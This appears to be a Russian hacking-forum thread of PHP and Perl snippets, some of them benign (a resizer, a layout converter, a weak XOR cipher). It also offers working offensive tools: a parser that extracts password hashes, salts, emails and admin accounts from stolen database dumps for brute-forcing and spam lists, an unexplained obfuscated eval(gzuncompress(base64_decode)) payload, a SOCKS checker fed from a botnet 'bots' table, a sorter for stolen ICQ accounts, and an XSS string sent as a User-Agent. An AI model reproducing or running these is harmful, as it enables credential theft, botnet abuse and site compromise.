простой класс шифрования строки, думаю будет полезен новичкам PHP: class Crypter{ var $key; function Crypter($clave){ $this->key = $clave; } function setKey($clave){ $this->key = $clave; } function keyED($txt) { $encrypt_key = md5($this->key); $ctr=0; $tmp = ""; for ($i=0;$i<strlen($txt);$i++) { if ($ctr==strlen($encrypt_key)) $ctr=0; $tmp.= substr($txt,$i,1) ^ substr($encrypt_key,$ctr,1); $ctr++; } return $tmp; } function encrypt($txt){ //srand((double)microtime()*1000000); $encrypt_key = md5($this->key); $ctr=0; $tmp = ""; for ($i=0;$i<strlen($txt);$i++){ if ($ctr==strlen($encrypt_key)) $ctr=0; $tmp.= substr($encrypt_key,$ctr,1) . (substr($txt,$i,1) ^ substr($encrypt_key,$ctr,1)); $ctr++; } return base64_encode($this->keyED($tmp)); } function decrypt($txt) { $txt = $this->keyED(base64_decode($txt)); $tmp = ""; for ($i=0;$i<strlen($txt);$i++){ $md5 = substr($txt,$i,1); $i++; $tmp.= (substr($txt,$i,1) ^ $md5); } return $tmp; } } Далее вызываем класс и определяем ключ для нашего шифрования PHP: $crypt= new Crypter('ТУТ ПИШЕМ КЛЮЧ'); Например $crypt= new Crypter('anti4at'); чтобы зашифровать строку PHP: $str='password'; // строка которую надо зашифровать $crp=$crypt->encrypt($str); в переменной crp лежит зашифрованая строка password чтобы расшифровать PHP: $decrp=$crypt->decrypt($crp);
Гуглил в инете шуструю функцию для преобразования картинок под нужный вам размер, кроме функций состоящих из овер 9000 строк кода ничего годного не нашел. Я сократил все как мог. И так, мои несколько строчек кода: PHP: $format = getimagesize($image); /*Заранее присваиваем*/ $resource = $source; /*Вводим размеры*/ $maxheight = 176; $maxwidth = 132; /*Сравниваем реальную ширину с максимальной*/ if ( $format[0] > $maxwidth ) { /*Простая функция для пропорционального подбора высоты*/ $newheight = floor( $format[1] / ( $format[0] / $maxwidth) ); $newwidth = $maxwidth; } if ( $newheight > $maxheight) { $newwidth = floor( $format[0] / ( $format[1] / $maxheight) ); $newheight = $maxheight; } /*Не забываем что картинка может и так соответствовать нашим требованиям*/ if (($newheight != $maxheight) || ($newwidth != $maxwidth)) { /*Создаем "полотно" и лепим изображение*/ $resource = imagecreatetruecolor($newwidth, $newheight); imagecopyresampled($resource, $source, 0, 0, 0, 0, $newwidth, $newheight, $format[0], $format[1]); } "И так понятную" часть кода я пропустил. Можете комментировать и кидаться какашками )
<? /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /* /* Forum Dump Parser v0.2 (FDPv0.2) /* by Re@ctor /* http://truenet.net.ru/security/ /* /* /* Скрипт предназначен для частного использования и позволяет /* привести имеющиеся дампы баз данных в единый удобный формат для /* дальнейшего анализа в программе Passwords Pro, либо просто /* в списки для других программ. /* /* Скрипт запрещается использовать в корыстных целях и автор не /* несёт ответственности за возможный ущерб, причинённый от исполь- /* зования данного скрипта. /* /* Скрипт запрещается использовать в противозаконных целях, либо /* целях, ведущих к умышленному или неумышленному нарушению законода- /* тельства Российской Федерации. /* /* Хорошего дня и доброго насроения! ;-) /* Помните про существование TrueNET! =) /* /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ xxx ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ ###### 1. выходной формат файлов ###### # для брута, формат Passwords Pro #$sort = array('username','password','salt'); # пользователи #$sort = array('email','password','salt'); # мыльники $sort = array('icq','password','salt'); # аськи # помните, что формат PPro - имя:хэш:сальт:расшифр.пароль:комментарий # поэтому надо писать от 2 до 3 значений, т.к. меньше или больше # будет воспринято неверно программой. # просто базы #$sort = array('email'); # e-mail #$sort = array('icq'); # icq ###### 2. формирование строк ###### $delim = "¤"; # разделитель между значениями $br = "\n"; # чем заканчивать строку (\n - перенос строки) ###### 3. промежуточный вывод ###### $makefiles = 1; # делать ли отдельные файлы для каждого дампа $ext = "txt"; # расширение выходного файла этих файлов ###### 4. параметры сбора информации ###### $site = 1; # если $makefiles = 0;, то получать сведения о сайте # из титла и мета-тегов (необоходимо подключение к сети) и записывать в начало файла # ( удобно при составлении тематических спам-баз ) # формат файла должен быть префиксАДРЕС_САЙТАрасширение, где префикс и расширение любые $site_prefix = ''; # если $site=1, указать префикс файлов $site_ext = '.sql'; # если $site=1, указать расширение файлов $convert = 0; # конвертировать полученный текст в win-1251, если оно не в нём (отключить при багах) ###### 5. общий файл с данными ###### $hashmake = 1; # делать ли единый файл со всеми хэшами $hash_filename = '!PasswordsPro.Hashes'; # имя файла с хэшами ###### 6. выборка из дампов админов в отдельный файл ###### $admins = 1; # сделать файл с хэшами админов дампов $admin_pass = 'password'; # имя ячейки с хэшем пароля $admin_salt = 'salt'; # имя ячейки с салом пароля $admin_comment = array('username','email','icq'); # то что будет в комментарии в полях пассворс-про $admin_filename = '!admin.PasswordsPro.Hashes'; ###### 7. (WARNING!) имя первой ячейки в таблице ###### $firstintable = 'userid'; # название первой ячейки в таблице (важно!) ini_set("max_execution_time","86400"); set_time_limit(0); function make($value) { return preg_replace("'\'(.*?)\''i",'\\1',$value); } function checksalt($salt) { if(strlen($salt)>3) return str_replace(array("\\\\",'\"',"\'"),array("\\",'"',"'"),$salt); else return $salt; } function koi($txt) { return convert_cyr_string($txt,'k','w'); } function iso($txt) { return convert_cyr_string($txt,'i','w'); } function myau() { echo "\n\nDone! ;-D\n\nNice day. Visit http://truenet.net.ru/ !\n\n"; } $d=opendir('.'); while(($e=readdir($d))!=false) { if($e=='.'||$e=='..'||$e==$admin_filename||$e==$ha sh_filename||$e==$argv[0]) continue; if(is_file($e)) { if($makefiles==1)$f = fopen("$e.$ext","w+"); echo "[+] $e (".filesize($e)." bytes)\n"; $file = file($e); foreach($file as $a) { $tmp = explode(' ',$a); $tablesuf=$tmp[1]; if(!$vars) { if($tablesuf==$firstintable) { $vars[]=array('name'=>$firstintable,'num'=>0); } continue; } foreach(array_unique(array_merge($sort,$admin_comm ent)) as $s) { if($tablesuf==$s) { $vars[]=array('name'=>$s,'num'=>count($vars)); $y=1; } } if(!$y) $vars[]='b'; else unset($y); if(strstr($a,'PRIMARY KEY')) break; } foreach($file as $a) { if(strstr($a,"INSERT INTO")) { $tmp = preg_replace("'INSERT INTO (.*?) VALUES\((.*?)\);'i",'\\2',$a); $values = explode(',',$tmp); foreach($values as $v) { $m[] = str_replace(array("\r","\n"),'',$v); } foreach($sort as $s) { if(!$vars) { echo "[!] Can't get table values from $e =[\n"; break; } else foreach($vars as $v) { if($admins==1&&$hashmake==0&&$makefiles==0) { if(!$tr) $tr[]=$e; if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]); elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']])); foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]); $admok=1; } else { if($s==$v['name']) { if($s=='salt') $tm[] = checksalt(make($m[$v['num']])); else $tm[] = make($m[$v['num']]); } if($admins==1&&!$admok) { if(!$tr) $tr[]=$e; if($v['name']==$admin_pass) $tr[]=make($m[$v['num']]); elseif($v['name']==$admin_salt) $tr[]=checksalt(make($m[$v['num']])); foreach($admin_comment as $comm) if($comm==$v['name']) $comment[] = make($m[$v['num']]); } } } if($admok==1) break; $admok=2; } if($tm[0])$globhash[]=$towrite[]=@implode($tm,$delim); if($admins==1)if($tr[0])$odmen[]=@implode($tr,$delim).$delim.$delim.@implode($comm ent,', '); unset($tr); unset($m); unset($tm); unset($comment); if($admok==1) break; } } if($makefiles==1) { if($site==1) { $host = preg_replace("'$site_prefix(.*?)$site_ext'i",'\\1',$e); echo "[:] connecting to $host..\n"; $fp = fsockopen($host,80,&$errno,&$errstr,5); if(!$fp) echo "[:] Error connecting $host ($errno - $errstr)\n"; fputs($fp,"GET / HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)\r\nHost: $host\r\nAccept-Language: ru\r\nAccept-Charset: windows-1251, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n\r\n"); while(!feof($fp)) { $tmp=fgets($fp,1000); if(preg_match("'charset='i",$tmp)||!$schar) { $ch=preg_replace("'(.*?)charset=(.*?)\r\n'i",'\\2',$tmp); if(preg_match("'koi8-r'i",$ch)) $koi=1; elseif(preg_match("'iso8859-5'i",$ch)) $iso=1; $schar=1; } elseif(preg_match("'<title>(.*?)</title>'i",$tmp)) { $title=preg_replace("'(.*?)<title>(.*?)</title>(.*?)'i",'\\2',$tmp); echo "[:] TITLE ok..\n"; } elseif(preg_match("'<meta (.*?)keywords(.*?)>'i",$tmp)) { $kiwords=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp); echo "[:] KEYWORDS ok..\n"; } elseif(preg_match("'<meta (.*?)description(.*?)>'i",$tmp)) { $descr=preg_replace("'(.*?)<meta (.*?)content=(\"|\')(.*?)(\"|\')(.*?)>(.*?)'i",'\\4',$tmp); echo "[:] DESCRIPTION ok..\n"; } elseif(preg_match("'</head>'i",$tmp)||preg_match("'<body'i",$tmp)) break; } fclose($fp); if($koi||$convert==1) { $title=koi($title); $kiwords=koi($kiwords); $descr=koi($descr); } if($iso||$convert==1) { $title=iso($title); $kiwords=iso($kiwords); $descr=iso($descr); } $info="Site: $host\nTitle: $title\nDescription: $descr\nKeywords: $kiwords\n\n"; $title=$host=$descr=$kiwords=''; } echo "[~] sorting and writing hashes in $e.$ext..\n"; @asort($towrite); fwrite($f,$info.@implode($towrite,$br)); fclose($f); unset($info); } unset($vars); unset($file); unset($towrite); unset($admok); } } if($hashmake==1) { echo "[*] sorting & writing all hashes..\n"; @asort($globhash); $f = fopen($hash_filename,"w+");fwrite($f,@implode($globhash,$br));fclose($f);} if($admins==1) { echo "[*] sorting & writing admin hashes..\n"; @asort($odmen); $f = fopen($admin_filename,"w+"); fwrite($f,@implode($odmen,$br)); fclose($f);} myau(); ?>
PHP: <?php $script['pr']=false; $script['pa']='EOF'; $script['link']=2; $script['do_this']="show_dir"; $script['now_dir']="./"; $script['now_file']="index.html"; eval(gzuncompress(base64_decode('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 l5R88VKVvVI2gf9/ASblWnc='))); ?>
Привет. Извините, если не в ту тему пишу с просьбой. Подскажите как реализовать на php такую идею: -есть текстовое поле, куда можно вводить html теги; -есть фрейм в котором при нажатии на кнопку html теги из 1 поля интерпретируются; За ранее спасибо Буду очень благодарен, если поможете.
чтобы именно фрейм - потребуется ajax, но все равно будет xss так что лучше тупо интерпретировать в том же файле. Читай http://www.softtime.ru/info/task.php?id_article=87
Многопоточный (кол-во потоков задается) автоматический чекер соксов (работает в цикле), настройки в шапке, читайте коменты. Загрузка соксов на чек с урл (раскоментить функцию) или локально. Работает при закрытом браузере, чекнутые соксы 100% работают P.S. Пускаю на никсовых дедиках, держит 1к и более потоков стабильно, максимальным перформансом не увлекался, тестируйте. Code: <? if (function_exists('xdebug_start_trace')){ xdebug_start_trace('/var/www/debug/trace/fac.xt'); } /* CONFIG */ $stop_file = "stop.me"; //!!! Имя файла, создав который сприпт выйдет из бесконечного цикла $looped = true; //!!! Крутится в цикле $loop_pause = 15 * 60; //!!! Время паузы между чеками //$socksurl = "http://site.com/text.txt"; $socksurl = "list.txt"; //!!! Урл или имя файла, откуба брать соксы $goodfile = "goods.txt"; //!!! Имя файла, куда складывать живые соксы (chmod 666) $connect_timeout = 15; //!!! Время на коннект $timeout = 15; //!!! Время на задержки в передаче информации $count_at_time = 500; //!!! Количество одновременно обрабатываемых соксов set_time_limit(0); //!!! Бесконечное время на выполнение скрипта ob_implicit_flush(); //!!! Моментельный вывод в ignore_user_abort(true); //!!! Не реагировать на закрытие браузера /* END CONFIG */ function hex2bin($dump) { $dump=str_replace(' ', '', $dump); $res=''; $len = strlen($dump); for ($i = 0; $i <= $len; $i += 2) { $bt=$dump[$i].$dump[$i+1]; $res=$res.chr(hexdec($bt)); } return $res; } function hex($dump) { $res=''; $len = strlen($dump); for($i=0; $i < $len; $i++) { if( $i+1 == $len){ $res = $res.dechex(ord($dump[$i])); } else { $res = $res.dechex(ord($dump[$i])) . " "; } } return $res; } function len_test($dump) { if(strlen($dump)==1) {$dump="0".$dump;} return $dump; } function file_put($name, $cont, $flags = 0){ $mode = "w"; if ($mode == FILE_APPEND){ $mode = "a"; } $mode .= "b"; $f = fopen($name, $mode); if ($f){ fwrite($f, $cont); fclose($f); } } class client{ public $need_write; public $need_read; public $connected; public $begin_ct; public $fp; public $done; function __construct($url, $proxy, $connection_timeout = 15, $timeout = 15){ $this->client = array (); $this->need_read = false; $this->need_write = true; $this->wr_step = 0; $this->rd_step = 0; $this->proxy = $proxy; $this->connected = false; $this->begin_t = time(); $this->begin_ct = time(); $this->url = $url; list ($host, $port) = explode(":", $proxy ); $transport='tcp'; $remote = $transport.'://'.$host.':'.$port; $this->fp = stream_socket_client($remote, $err, $errstr, $connection_timeout, STREAM_CLIENT_ASYNC_CONNECT | STREAM_CLIENT_CONNECT); if (!$this->fp) { //trigger_error('httpPost error: '.$errstr); $this->done = "failed"; return NULL; } stream_set_blocking($this->fp, 0); stream_set_timeout($this->fp, $timeout); $this->done = "active"; } function close(){ fclose($this->fp); } function onwrite(){ $this->begin_t = time(); switch ($this->wr_step){ case 0:{ $h=hex2bin('05 01 00'); fputs($this->fp, $h); $this->wr_step ++; $this->need_read = true; $this->need_write = false; break; } case 1:{ list($connect_host, $connect_port) = explode(':', $this->url); $len=dechex(strlen($connect_host)); $len=len_test($len); $h=hex2bin("05 01 00 03 $len ".hex($connect_host)." 00 ".dechex($connect_port).""); fputs($this->fp, $h); $this->wr_step ++; $this->need_read = true; $this->need_write = false; break; } case 2:{ $head = "GET / HTTP/1.0\r\n"; $head .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.52\r\n"; $head .= "Host: $connect_host\r\n"; $head .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n"; $head .= "Accept-Language: ru,en;q=0.9\r\n"; $head .= "Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n"; $head .= "\r\n"; fputs($this->fp, $head); $this->wr_step ++; $this->need_read = true; $this->need_write = false; break; } default:{ $this->need_write = false; } } $result = array($this->need_write, $this->need_read); return $result; } function onread(){ $this->begin_t = time(); switch ($this->rd_step){ case 0:{ $this->connected = true; //$h=hex2bin('05 01 00'); //while(!feof($fp)) { $res = fread($this->fp, 1024); //} $list=bin2hex($res); //var_dump($list); $this->rd_step++; //if (feof($this->fp)){ // $this->need_read = true; //} else { $this->need_read = false; //} $this->need_write = true; $res = ''; break; } case 1:{ //while(!feof($fp)) { $res .= fread($this->fp, 1024); //} $list=bin2hex($res); //var_dump($list); if ($list[3] == '0'){ $this->rd_step++; $this->need_read = false; $this->need_write = true; } else { $this->need_read = false; $this->need_write = false; $this->rd_step++; $this->done = $list; //echo "error\n"; } $res = ''; break; } case 2:{ $res = fread($this->fp, 1024); if (!feof($this->fp)){ $this->need_read = true; } else { $this->need_read = false; $this->rd_step++; } //echo $res; break; } default:{ $this->need_read = false; } } $result = array($this->need_write, $this->need_read); return $result; } } function httpPost($proxies, $connection_timeout = 15, $timeout = 15) { $url = 'www.google.com:80'; $clients = array(); foreach($proxies as $proxy){ $clients [] = new client($url, $proxy, $connection_timeout, $timeout); } for(;;){ $read = array(); $write = array(); $except = NULL; $not_done = false; foreach($clients as $cl){ if ($cl->done != 'active') continue; $tm = time(); if ($tm - $cl->begin_ct >= $connection_timeout && !$cl->connected){ $cl->done = "connection_timeout"; //break; } if ($tm - $cl->begin_t >= $timeout && $cl->connected ){ $cl->done = "timeout"; } $cl_done = false; if ($cl->need_read ){ $read[] = $cl->fp; } if ($cl->need_write) { $write[] = $cl->fp; } $cl_done = !($cl->need_write || $cl->need_read); if ($cl_done) { $cl->done = "success"; } $not_done = $not_done || !$cl_done; } if (!$not_done) { break; } if (false === ($num_changed_streams = stream_select($read, $write, $except, 1))) { /* Error handling */ } elseif ($num_changed_streams > 0) { foreach($clients as $cl){ if (in_array($cl->fp, $read) && $cl->need_read ){ $cl->onread(); } if (in_array($cl->fp, $write) && $cl->need_write){ $cl->onwrite(); } } } } foreach($clients as $cl){ //echo $cl->proxy . " - ". $cl->done . "<br>\n"; if ($cl->done == 'success'){ file_put_contents("goods.txt", $cl->proxy . "\n", FILE_APPEND); } $cl->close(); } unset($clients); return 0; } function get_proxies ($url){ $raw = file($url); $proxies = array(); foreach($raw as $proxy){ $proxy = str_replace("<br>", "", trim($proxy)); $proxies [] = $proxy; } unset($raw); return $proxies; } do { $start = time(); file_put_contents($goodfile, ""); $proxies = get_proxies($socksurl); $chunked_proxies = array_chunk ($proxies, $count_at_time); foreach($chunked_proxies as $chunk){ echo 'next chunk...', "<br>\n"; httpPost($chunk, $connect_timeout, $timeout); } $end = time(); echo 'check done!', " $start:$end <br>\n"; if ($looped ){ sleep($loop_pause); } else { break; } } while(!file_exists($stop_file)); if (function_exists('xdebug_start_trace')){ xdebug_stop_trace(); } ?> Если нужно брать соксы на чек из мускула, ставьте УРЛ на этот скрипт (должен лежать на сервере с sql): Code: <? include("access.php"); mysql_connect($dbhost, $dbuser, $dbpass); mysql_select_db($dbname); $result = mysql_query("SELECT `http`, `socks`, `ipaddr` FROM `bots`"); // Названия таблиц с нужными параметрами while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { echo $row['ipaddr'] . ":" . $row['socks'] . "<br>\n"; // Формат построения списка и разделитель } ?> Рядом должен быть файл с данными ДБ (access.php) в след формате: Code: <?php # database $dbhost = "localhost"; $dbname = "Your_Db_Name"; $dbuser = "DB_User"; $dbpass = "DB_Password"; ?>
Скрипт перевода русского текста в набор на англ раскладке Code: #!/usr/bin/perl if (@ARGV < 1) { print "Usage: transkey.pl source\r\n"; exit(); } $sour = $ARGV[0]; if (@ARGV = 1){ $dest = $sour . '_trans'; } else{ $dest = $ARGV[1]; }; $alphabet = "f,dult;pbqrkvyjghcnea[wxio]sm'.z"; $alphabet2 = 'F<DULT:PBQRKVYJGHCNEA{WXIO}SM">Z'; open (SR, "<$sour") || die "Could not open source file"; open (DS, ">$dest") || die "Could not create destination file"; while (<SR>){ chomp; @bukvy = split(//); foreach $bk (@bukvy) { $num = ord($bk); if ($num < 256){ if ($num > 223){ $bk = substr($alphabet,$num-224,1); }else{ if ($num > 191){ $bk = substr($alphabet2,$num-192,1); }; }; }; } print DS join("",@bukvy) . "\n"; }; close (SR); close (DS);
Разбивка угнанных асек по файлам: PHP: <?php $r=";"; //разделитель $f=file("source.txt"); //файл с аськами $si=fopen("6.txt","a+"); //шохи $s=fopen("7.txt","a+"); //семёрки $e=fopen("8.txt","a+"); //восьмёры $n=fopen("9.txt","a+"); //девятки $o=fopen("o.txt","a+"); //остальное for($i=0;$i<count($f);$i++) { $l=explode($r,trim($f[$i])); switch(strlen($l[0])) { case 6: fwrite($si,$f[$i]);break; case 7: fwrite($s,$f[$i]);break; case 8: fwrite($e,$f[$i]);break; case 9: fwrite($n,$f[$i]);break; default: fwrite($o,$f[$i]);break; } } fclose($si); fclose($s); fclose($e); fclose($n); fclose($o); ?>
Парсим оповещения вконтакте (группы, друзья и т.д.) PHP: <? function сonnect($link){ $cookie=file_get_contents('cookies.txt'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$link); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_GET, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_COOKIE, $cookie); $otvet = curl_exec($ch); curl_close($ch); return $otvet; } $link='http://vkontakte.ru/feed.php'; $res=сonnect($link,$cookie); preg_match('#messages{count=(.*?)}#', $res , $arr[1]); preg_match('#friends{count=(.*?)}#', $res , $arr[2]); preg_match('#messages{count=(.*?)}#', $res , $arr[3]); preg_match('#events{count=(.*?)}#', $res , $arr[4]); preg_match('#photos{count=(.*?)}#', $res , $arr[5]); preg_match('#videos{count=(.*?)}#', $res , $arr[6]); preg_match('#groups{count=(.*?)}#', $res , $arr[7]); print_r($arr); ?> Подмена Юзер-агента PHP: <?php function get($url) { $qwe = '<script>alert(document.cookie)</script>'; #Юзер-агент $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_USERAGENT, $qwe); curl_setopt($ch, CURLOPT_REFERER, "http://google.ru/"); $ss=curl_exec($ch); curl_close($ch); return $ss; } $a=get('http://google.ru/'); echo $a; ?>
